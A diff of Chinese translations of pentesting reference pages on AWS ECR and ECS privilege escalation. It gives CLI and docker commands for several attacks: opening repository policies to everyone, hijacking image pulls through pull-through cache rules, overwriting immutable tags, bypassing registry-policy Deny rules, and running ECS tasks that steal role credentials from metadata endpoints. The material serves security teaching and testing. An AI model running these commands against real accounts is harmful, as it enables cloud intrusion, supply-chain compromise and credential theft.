潜在影响:通过 SSRF 窃取实例配置文件凭证,导致在 EC2 角色权限下发生 privilege escalation 和 lateral movement。
|
||||
潜在影响:通过 SSRF 窃取 instance profile credentials,导致利用 EC2 role permissions 实现权限提升和横向移动。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
拥有 **`ecr:GetAuthorizationToken`** 和 **`ecr:BatchGetImage`** 的攻击者可以登录到 ECR 并下载镜像。
|
||||
具有 **`ecr:GetAuthorizationToken`** 和 **`ecr:BatchGetImage`** 的攻击者可以登录 ECR 并下载镜像。
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
@@ -14,11 +14,11 @@ For more info on how to download images:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** 通过拦截流量中的敏感信息实现间接提权。
|
||||
**潜在影响:** 通过拦截流量中的敏感信息实现间接 privesc。
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
拥有上述所有权限的攻击者 **可以登录到 ECR 并上传镜像**。这可以用来对使用这些镜像的其他环境进行权限升级。
|
||||
拥有这些权限的攻击者 **可以登录 ECR 并上传镜像**。这可用于在使用这些镜像的其他环境中 escalate privileges。
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
@@ -28,18 +28,17 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
与上节类似,但适用于公共仓库。
|
||||
与上一节类似,但针对公共仓库。
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
拥有此权限的攻击者可以**更改****repository** **policy**,为自己(甚至所有人)授予**read/write access**。\
|
||||
例如,下面的示例将读取权限授予所有人。
|
||||
具有此权限的攻击者可以**更改****仓库**的**策略**,以授予自己(或甚至所有人)**读/写 访问权限**.\ 例如,下面的示例向所有人授予了读取访问权限。
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
`my-policy.json` 的内容:
|
||||
以下是 `my-policy.json` 的内容:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -59,8 +58,8 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
像前一节一样,但针对公开仓库。\
|
||||
攻击者可以**修改 ECR Public 仓库的仓库策略**,以授予未授权的公共访问或提升其权限。
|
||||
与上一节类似,但适用于公共仓库。\
|
||||
攻击者可以**修改仓库策略**,从而对 ECR Public 仓库授予未授权的公共访问或提升其权限。
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,28 +86,22 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**潜在影响**:未经授权的公开访问 ECR Public repository,允许任何用户 push、pull 或 delete images。
|
||||
**潜在影响**: 未经授权的公开访问 ECR Public 存储库,允许任何用户推送、拉取或删除镜像。
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
拥有此权限的攻击者可以 **更改** **registry policy**,以授予自己、其账户(或甚至任何人)**read/write access**。
|
||||
拥有此权限的攻击者可以**更改****注册表策略**,从而授予自己、其账户(甚至所有人)**读/写访问**。
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
滥用 ECR Pull Through Cache (PTC) 规则,将攻击者控制的上游命名空间映射到受信任的私有 ECR 前缀。这样,从私有 ECR 拉取的工作负载将透明地接收攻击者镜像,而无需向私有 ECR 执行任何 push 操作。
|
||||
滥用 ECR Pull Through Cache (PTC) 规则,将攻击者控制的上游命名空间映射到受信任的私有 ECR 前缀。这样,从私有 ECR 拉取镜像的工作负载会透明地接收攻击者的镜像,而无需向私有 ECR 执行任何 push 操作。
|
||||
|
||||
- 所需权限:ecr:CreatePullThroughCacheRule、ecr:DescribePullThroughCacheRules、ecr:DeletePullThroughCacheRule。如果使用 ECR Public 作为上游:需要 ecr-public:* 来创建/推送到 public 仓库。
|
||||
- 已测试的上游:public.ecr.aws
|
||||
- 所需权限:ecr:CreatePullThroughCacheRule、ecr:DescribePullThroughCacheRules、ecr:DeletePullThroughCacheRule。如果使用 ECR Public 作为上游:需要 ecr-public:* 来创建/推送到公有仓库。
|
||||
- 测试的上游:public.ecr.aws
|
||||
|
||||
步骤(示例):
|
||||
|
||||
@@ -118,10 +111,10 @@ docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. 在私有 ECR 中创建 PTC 规则,将受信任的前缀映射到 public registry
|
||||
2. 在私有 ECR 中创建 PTC 规则,将受信任的前缀映射到公有注册表
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. 通过私有 ECR 路径拉取攻击者镜像(无需向私有 ECR 进行 push)
|
||||
3. 通过私有 ECR 路径拉取攻击者镜像(未向私有 ECR 执行 push)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
@@ -130,10 +123,10 @@ docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
滥用此权限将标签不可变的仓库切换为可变,从而覆盖受信任的标签(例如 latest、stable、prod)为攻击者控制的内容。
|
||||
滥用此权限可以将具有标签不可变性的仓库切换为可变,从而用攻击者控制的内容覆盖受信任的标签(例如 latest、stable、prod)。
|
||||
|
||||
- 所需权限:`ecr:PutImageTagMutability` 以及推送相关能力(`ecr:GetAuthorizationToken`、`ecr:InitiateLayerUpload`、`ecr:UploadLayerPart`、`ecr:CompleteLayerUpload`、`ecr:PutImage`)。
|
||||
- 影响:在不更改标签名称的情况下静默替换不可变标签,导致供应链妥协。
|
||||
- 所需权限:`ecr:PutImageTagMutability`,以及推送相关能力(`ecr:GetAuthorizationToken`、`ecr:InitiateLayerUpload`、`ecr:UploadLayerPart`、`ecr:CompleteLayerUpload`、`ecr:PutImage`)。
|
||||
- 影响:通过在不更改标签名称的情况下悄然替换不可变标签造成供应链妥协。
|
||||
|
||||
步骤(示例):
|
||||
|
||||
@@ -158,17 +151,17 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### 通过 ROOT Pull-Through Cache 规则进行全局注册表劫持
|
||||
#### 通过 ROOT Pull-Through Cache 规则实现全局注册表劫持
|
||||
|
||||
创建一个 Pull-Through Cache (PTC) 规则,使用特殊的 `ecrRepositoryPrefix=ROOT` 将私有 ECR 注册表的根映射到上游的公共注册表(例如 ECR Public)。对私有注册表中不存在的仓库的任何拉取请求都将透明地从上游提供,从而在不向私有 ECR 推送的情况下实现供应链劫持。
|
||||
使用特殊的 `ecrRepositoryPrefix=ROOT` 创建一个 Pull-Through Cache (PTC) 规则,将私有 ECR 注册表的根映射到上游公共注册表(例如 ECR Public)。对私有注册表中不存在的仓库的任何 pull 操作都会透明地从上游提供,从而在无需向私有 ECR 推送的情况下实现供应链劫持。
|
||||
|
||||
- 所需权限: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- 影响:对 `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` 的拉取将成功,并自动根据上游来源创建私有仓库。
|
||||
- 所需权限: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- 影响: 对 `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` 的 pull 将成功,并会自动基于上游创建私有仓库。
|
||||
|
||||
> 注意:对于 `ROOT` 规则,省略 `--upstream-repository-prefix`。提供该参数会导致验证错误。
|
||||
> 注意: 对于 `ROOT` 规则,请省略 `--upstream-repository-prefix`。若提供该参数将导致验证错误。
|
||||
|
||||
<details>
|
||||
<summary>演示 (us-east-1, upstream public.ecr.aws)</summary>
|
||||
<summary>演示 (us-east-1,上游 public.ecr.aws)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -197,17 +190,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting`(将 `REGISTRY_POLICY_SCOPE` 降级以绕过注册表策略的 Deny)
|
||||
### `ecr:PutAccountSetting`(将 `REGISTRY_POLICY_SCOPE` 降级以绕过注册表策略 Deny)
|
||||
|
||||
利用 `ecr:PutAccountSetting` 将注册表策略范围从 `V2`(策略适用于所有 ECR 操作)切换为 `V1`(策略仅适用于 `CreateRepository`、`ReplicateImage`、`BatchImportUpstreamImage`)。如果一个限制性的注册表策略的 Deny 阻止了像 `CreatePullThroughCacheRule` 这样的操作,将范围降级到 `V1` 会移除该强制,从而使身份策略中的 Allow 生效。
|
||||
利用 `ecr:PutAccountSetting` 将注册表策略范围从 `V2`(策略适用于所有 ECR 操作)切换到 `V1`(策略仅适用于 `CreateRepository`、`ReplicateImage`、`BatchImportUpstreamImage`)。如果一个限制性的注册表策略 Deny 阻止了像 `CreatePullThroughCacheRule` 这样的操作,将范围降级到 `V1` 会移除该强制执行,从而使身份策略中的 Allows 生效。
|
||||
|
||||
- 所需权限:`ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- 影响:能够执行之前被注册表策略的 Deny 阻止的 ECR 操作(例如,创建 PTC 规则),方法是临时将范围设置为 `V1`。
|
||||
- 所需权限:`ecr:PutAccountSetting`、`ecr:PutRegistryPolicy`、`ecr:GetRegistryPolicy`、`ecr:CreatePullThroughCacheRule`、`ecr:DescribePullThroughCacheRules`、`ecr:DeletePullThroughCacheRule`。
|
||||
- 影响:能够通过临时将范围设置为 `V1` 来执行之前被注册表策略 Deny 阻止的 ECR 操作(例如,创建 PTC 规则)。
|
||||
|
||||
步骤(示例):
|
||||
|
||||
<details>
|
||||
<summary>通过切换到 `V1` 来绕过对 `CreatePullThroughCacheRule` 的注册表策略 Deny</summary>
|
||||
<summary>通过切换到 `V1` 绕过对 `CreatePullThroughCacheRule` 的 registry policy Deny</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -266,3 +259,5 @@ fi
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
更多 **关于 ECS 的 信息** 在:
|
||||
更多 **关于 ECS 的信息**:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
攻击者滥用 ECS 中的 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限,可以**生成一个新的 task definition**,包含一个**恶意容器**,该容器窃取 metadata 凭证并**运行它**。
|
||||
攻击者滥用 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限时,可在 ECS 中生成一个新的 task definition,包含窃取元数据凭证的恶意容器,并运行它。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
使用像 webhook.site 这样的网站创建 webhook
|
||||
在像 webhook.site 这样的网站上创建一个 webhook
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 直接 privesc 到不同的 ECS role。
|
||||
**潜在影响:** 直接 privesc 到不同的 ECS role。
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
拥有 `iam:PassRole` 和 `ecs:RunTask` 权限的攻击者可以启动一个新的 ECS task,并修改 **execution role**、**task role** 和容器的 **command** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志,允许在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`,而无需更改 task definition。
|
||||
拥有 `iam:PassRole` 和 `ecs:RunTask` 权限的攻击者可以启动一个新的 ECS task,并修改 **execution role**、**task role** 和容器的 **command** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志,可在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`,而无需触及 task definition。
|
||||
|
||||
为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM roles 的信任策略必须在其 trust policy 中信任/允许 `ecs-tasks.amazonaws.com` 被 assume。
|
||||
为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM role 在其 trust policy 中必须信任/允许由 `ecs-tasks.amazonaws.com` 来 assume。
|
||||
|
||||
此外,攻击者还需要知道:
|
||||
另外,攻击者还需要知道:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group(如果未指定 security group,则将使用默认的)
|
||||
- Security group(如果未指定 security group,则会使用默认的)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
在上面的代码片段中,攻击者只覆盖了 `taskRoleArn` 的值。然而,攻击者必须对命令中指定的 `taskRoleArn` 和任务定义中指定的 `executionRoleArn` 拥有 `iam:PassRole` 权限,攻击才能发生。
|
||||
在上面的代码片段中,攻击者只覆盖了 `taskRoleArn` 的值。不过,为了使攻击得以发生,攻击者必须对命令中指定的 `taskRoleArn` 和任务定义中指定的 `executionRoleArn` 拥有 `iam:PassRole` 权限。
|
||||
|
||||
如果攻击者可以传递的 IAM 角色具有足够的权限来拉取 ECR 镜像并启动 ECS 任务(`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`),那么攻击者可以在 `ecs run-task` 命令中将相同的 IAM 角色同时指定为 `executionRoleArn` 和 `taskRoleArn`。
|
||||
如果攻击者可以传递的 IAM 角色具有足够的权限来拉取到 ECR 镜像并启动 ECS 任务(`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`),那么攻击者可以在 `ecs run-task` 命令中将相同的 IAM 角色同时指定为 `executionRoleArn` 和 `taskRoleArn`。
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**潜在影响:** Direct privesc to any ECS task role.
|
||||
**潜在影响:** 可直接对任何 ECS 任务角色 实现 privesc。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
就像前面的例子一样,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 在 ECS 中的权限,可以 **生成一个新的任务定义**,其中包含一个**恶意容器**,用于窃取元数据凭证并**运行它**。\
|
||||
然而,在这种情况下,需要一个容器实例来运行该恶意任务定义。
|
||||
就像在之前的例子中,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 在 ECS 中的权限,可以 **生成一个新的任务定义**,并包含一个 **恶意容器**,该容器窃取元数据凭证并 **运行它**。\
|
||||
但是,在这种情况下,需要有一个可用的容器实例来运行该恶意任务定义。
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,12 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potential Impact:** 直接对任意 ECS 角色的 privesc。
|
||||
**潜在影响:** 直接对任意 ECS 角色进行 privesc。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
|
||||
正如前面的示例一样,攻击者滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限时,可以**生成新的 task definition**,包含用于窃取元数据凭证的**恶意容器**,并通过创建一个至少运行 1 个 task 的新 service 来**运行该容器**。
|
||||
与前面的示例类似,攻击者滥用 ECS 中的 **`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:UpdateService`** 或 **`ecs:CreateService`** 权限,能够 **生成新的任务定义(task definition)**,在其中放入窃取元数据凭证(metadata credentials)的**恶意容器**,并通过创建至少有 1 个任务在运行的新服务(service)来**运行它**。
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -170,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**潜在影响:** 直接 privesc 到任意 ECS 角色。
|
||||
**Potential Impact:** 直接获得对任意 ECS role 的 privesc。
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
实际上,仅凭这些权限,就可以使用 overrides 在容器中以任意角色执行任意命令,例如:
|
||||
实际上,仅凭这些权限就可以使用 overrides 在容器中以任意 role 执行任意命令,例如:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -182,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Potential Impact:** 直接提权到任意 ECS 角色。
|
||||
**Potential Impact:** 直接 privesc 到任何 ECS role。
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
这个情形类似之前的场景,但**不具备** **`iam:PassRole`** 权限。\
|
||||
这仍然很危险,因为如果你能运行任意容器,即便它没有角色,你也可以**运行一个具特权的容器以逃逸**到节点,并**窃取 EC2 IAM 角色**以及该节点上运行的**其他 ECS 容器的角色**。\
|
||||
你甚至可以**强制其他任务在你攻陷的 EC2 实例内运行**以窃取它们的凭证(如 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 中所述)。\
|
||||
这种情况与之前类似,但 **没有** **`iam:PassRole`** 权限。\
|
||||
这仍然很重要,因为如果你能运行任意容器,即使它没有 role,你也可以 **运行一个特权容器以逃逸** 到节点并 **窃取 EC2 IAM role** 以及 **在该节点上运行的其他 ECS 容器的 role**。\
|
||||
你甚至可以 **强制其他任务在你攻破的 EC2 实例内运行** 以窃取它们的凭证(如 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 所述)。
|
||||
|
||||
> [!WARNING]
|
||||
> 该攻击仅在 **ECS cluster 使用 EC2 实例** 而非 Fargate 的情况下可行。
|
||||
> 此攻击仅在 **ECS 集群正在使用 EC2** 而非 Fargate 时才可行。
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -234,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
拥有 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 的攻击者可以在正在运行的容器内**执行命令**并窃取附加在其上的 IAM role(你需要 describe 权限,因为运行 `aws ecs execute-command` 时需要)。\
|
||||
然而,为了做到这一点,容器实例需要运行 **ExecuteCommand agent**(默认情况下不会运行)。
|
||||
拥有 **`ecs:ExecuteCommand`、`ecs:DescribeTasks`** 的攻击者可以在正在运行的容器内**执行命令**并外泄附加在该容器上的 IAM 角色(你需要 describe 权限,因为运行 `aws ecs execute-command` 时需要它)。\
|
||||
但是,为了实现这一点,容器实例需要运行 **ExecuteCommand agent**(默认情况下没有运行)。
|
||||
|
||||
因此,攻击者可以尝试:
|
||||
|
||||
- **尝试在每个正在运行的容器中运行命令**
|
||||
- **尝试在每个运行中的容器中运行命令**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -257,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- 如果他有 **`ecs:RunTask`**,使用 `aws ecs run-task --enable-execute-command [...]` 运行任务
|
||||
- 如果他有 **`ecs:StartTask`**,使用 `aws ecs start-task --enable-execute-command [...]` 运行任务
|
||||
- 如果他有 **`ecs:CreateService`**,使用 `aws ecs create-service --enable-execute-command [...]` 创建服务
|
||||
- 如果他有 **`ecs:UpdateService`**,使用 `aws ecs update-service --enable-execute-command [...]` 更新服务
|
||||
- 如果拥有 **`ecs:RunTask`** 权限,使用 `aws ecs run-task --enable-execute-command [...]` 运行任务
|
||||
- 如果拥有 **`ecs:StartTask`** 权限,使用 `aws ecs start-task --enable-execute-command [...]` 运行任务
|
||||
- 如果拥有 **`ecs:CreateService`** 权限,使用 `aws ecs create-service --enable-execute-command [...]` 创建服务
|
||||
- 如果拥有 **`ecs:UpdateService`** 权限,使用 `aws ecs update-service --enable-execute-command [...]` 更新服务
|
||||
|
||||
你可以在 **previous ECS privesc sections** 中找到这些选项的**示例**。
|
||||
你可以在 **先前的 ECS privesc 部分** 中找到这些选项的示例。
|
||||
|
||||
**Potential Impact:** Privesc 到附加到容器的不同角色。
|
||||
**Potential Impact:** Privesc 到附加在容器上的不同角色。
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
请查看 **ssm privesc page**,了解如何滥用此权限以 **privesc 到 ECS**:
|
||||
请查看 **ssm privesc page**,了解如何滥用此权限以 **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -276,7 +275,7 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
请查看 **ec2 privesc page**,了解如何滥用这些权限以 **privesc 到 ECS**:
|
||||
请查看 **ec2 privesc page**,了解如何滥用这些权限以 **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -284,16 +283,17 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
拥有这些权限的攻击者可能会在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。
|
||||
具有这些权限的攻击者可能会在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。
|
||||
|
||||
- TODO: 是否有可能从不同的 AWS 账户注册实例,从而让任务在由攻击者控制的机器上运行??
|
||||
|
||||
- TODO: 是否可以从不同的 AWS 账户注册实例,使任务在攻击者控制的机器上运行??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 测试此项
|
||||
|
||||
拥有 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 权限的攻击者可以**为现有的 ECS service 创建一个恶意的 task set 并更新主 task set**。这使攻击者能够**在该 service 内执行任意代码**。
|
||||
拥有 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 权限的攻击者可以**为现有的 ECS 服务创建恶意任务集并更新主任务集**。这使得攻击者能够**在该服务内执行任意代码**。
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,13 +319,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**潜在影响**:在受影响的服务中执行任意代码,可能影响其功能或外泄敏感数据。
|
||||
**潜在影响**:在受影响的服务中执行任意代码,可能影响其功能或窃取敏感数据。
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -333,9 +333,9 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
拥有管理 ECS capacity providers 和更新 services 权限的攻击者,可以创建一个由其控制的 EC2 Auto Scaling Group,将其封装为一个 ECS Capacity Provider,关联到目标 cluster,并将受害者的 service 迁移为使用此 provider。Tasks 随后会被调度到攻击者控制的 EC2 instances 上,从而获得 OS 级别的访问以检查容器并窃取 task role 凭证。
|
||||
具有管理 ECS capacity providers 和更新服务权限的攻击者可以创建一个由自己控制的 EC2 Auto Scaling Group,将其封装为 ECS Capacity Provider,关联到目标 cluster,并将受害者服务迁移到该 provider。任务随后会被调度到攻击者控制的 EC2 实例上,从而获得操作系统级别的访问以检查容器并窃取 task role 凭证。
|
||||
|
||||
命令 (us-east-1):
|
||||
Commands (us-east-1):
|
||||
|
||||
- 前置条件
|
||||
|
||||
@@ -357,21 +357,21 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
|
||||
|
||||
- 将 service 迁移到你的 provider
|
||||
- 将服务迁移到你的 provider
|
||||
|
||||
|
||||
|
||||
- 验证 tasks 是否落在攻击者的 instances 上
|
||||
- 验证任务是否部署到攻击者实例上
|
||||
|
||||
|
||||
|
||||
- 可选:从 EC2 节点 docker exec 到目标容器并读取 http://169.254.170.2 以获取 task role 凭证。
|
||||
- 可选:从 EC2 节点,docker exec 进入目标容器并读取 http://169.254.170.2 来获取 task role 凭证。
|
||||
|
||||
- 清理
|
||||
|
||||
|
||||
|
||||
**潜在影响:** 攻击者控制的 EC2 节点接收受害者任务,允许 OS 级别访问容器并窃取任务 IAM role 凭证。
|
||||
**潜在影响:** 攻击者控制的 EC2 节点会接收受害者任务,从而获得对容器的操作系统级别访问并窃取 task IAM role 凭证。
|
||||
|
||||
|
||||
<details>
|
||||
@@ -410,15 +410,15 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
滥用 ECS Anywhere 将攻击者控制的主机注册为受害者 ECS cluster 中的 EXTERNAL container instance,并在该主机上使用具有特权的 task 和 execution roles 运行 tasks。这样可以在 OS 级别控制任务运行位置(你的机器),并允许从 tasks 和挂载卷中窃取凭证/数据,而无需接触 capacity providers 或 ASGs。
|
||||
